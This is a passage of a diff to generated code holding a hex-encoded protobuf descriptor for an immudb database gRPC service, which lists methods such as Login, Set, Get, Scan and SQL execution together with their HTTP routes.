0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, - 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, + 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, + 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, - 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, - 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, - 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, - 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, - 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, + 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, + 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, + 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, + 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, + 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, + 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, + 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, + 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, + 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, - 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, + 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, + 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, + 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, + 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, + 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, + 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, + 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, + 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, + 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, + 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, + 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, + 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, + 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, + 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, + 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, + 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, + 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, + 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, + 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, + 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, + 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, + 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, + 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, + 0x6c, 0x74, 0x68, 0x52, 0x65, 